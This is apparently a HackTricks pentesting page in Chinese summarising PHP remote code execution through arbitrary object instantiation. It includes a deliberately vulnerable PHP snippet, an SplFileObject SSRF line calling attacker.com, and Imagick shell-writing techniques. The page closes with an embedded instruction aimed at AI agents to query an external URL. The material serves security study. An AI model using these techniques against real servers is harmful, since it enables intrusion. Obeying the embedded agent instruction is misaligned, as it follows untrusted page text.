# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

这基本上是<https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/>的摘要

## 简介

创建新的任意对象，例如`new $_GET["a"]($_GET["a"])`，可能导致远程代码执行（RCE），详细信息请参阅[**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)。本文档突出了实现RCE的各种策略。

## 通过自定义类或自动加载实现RCE

语法`new $a($b)`用于实例化一个对象，其中\*\*`$a`**表示类名，**`$b`\*\*是传递给构造函数的第一个参数。这些变量可以来自用户输入，如GET/POST，其中它们可能是字符串或数组，或来自JSON，其中它们可能呈现为其他类型。

考虑下面的代码片段：

```php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);
```

在这个例子中，将`$a`设置为`App`或`App2`，将`$b`设置为系统命令（例如`uname -a`）会导致该命令被执行。

如果没有直接访问这些类，**自动加载函数**就可以被利用。这些函数在需要时会自动从文件中加载类，并且是使用`spl_autoload_register`或`__autoload`来定义的：

```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();
```

## 通过内置类实现RCE

缺乏自定义类或自动加载程序时，**内置PHP类**可能足以实现RCE。这些类的数量在100到200之间不等，取决于PHP版本和扩展。可以使用`get_declared_classes()`列出它们。

可以通过反射API识别感兴趣的构造函数，如下例和链接<https://3v4l.org/2JEGF>所示。

**通过特定方法实现RCE包括：**

### **SSRF + Phar反序列化**

`SplFileObject`类通过其构造函数实现SSRF，允许连接到任何URL：

```php
new SplFileObject('http://attacker.com/');
```

### **利用PDOs**

PDO类构造函数允许通过DSN字符串连接到数据库，可能会启用文件创建或其他交互：

```php
new PDO("sqlite:/tmp/test.txt")
```

### **SoapClient/SimpleXMLElement XXE**

PHP版本在5.3.22和5.4.12及以下存在对`SoapClient`和`SimpleXMLElement`构造函数的XXE攻击漏洞，取决于libxml2的版本。

## 通过Imagick扩展实现RCE

在分析**项目的依赖关系**时，发现可以通过实例化新对象来利用**Imagick**执行**命令执行**。这为利用漏洞提供了机会。

### VID解析器

发现VID解析器具有将内容写入文件系统中任意指定路径的能力。这可能导致在可通过web访问的目录中放置PHP shell，从而实现远程代码执行（RCE）。

#### VID解析器 + 文件上传

注意到PHP会将上传的文件临时存储在`/tmp/phpXXXXXX`中。Imagick中的VID解析器，利用**msl**协议，可以处理文件路径中的通配符，从而促进将临时文件传输到所选位置。这种方法提供了另一种实现文件系统内任意文件写入的途径。

### PHP崩溃 + 暴力破解

在[**原始文档**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)中描述了一种方法，涉及上传触发服务器崩溃的文件。通过对临时文件名进行暴力破解，Imagick可以执行任意PHP代码。然而，这种技术只在过时版本的ImageMagick中有效。

## 参考资料

* <https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
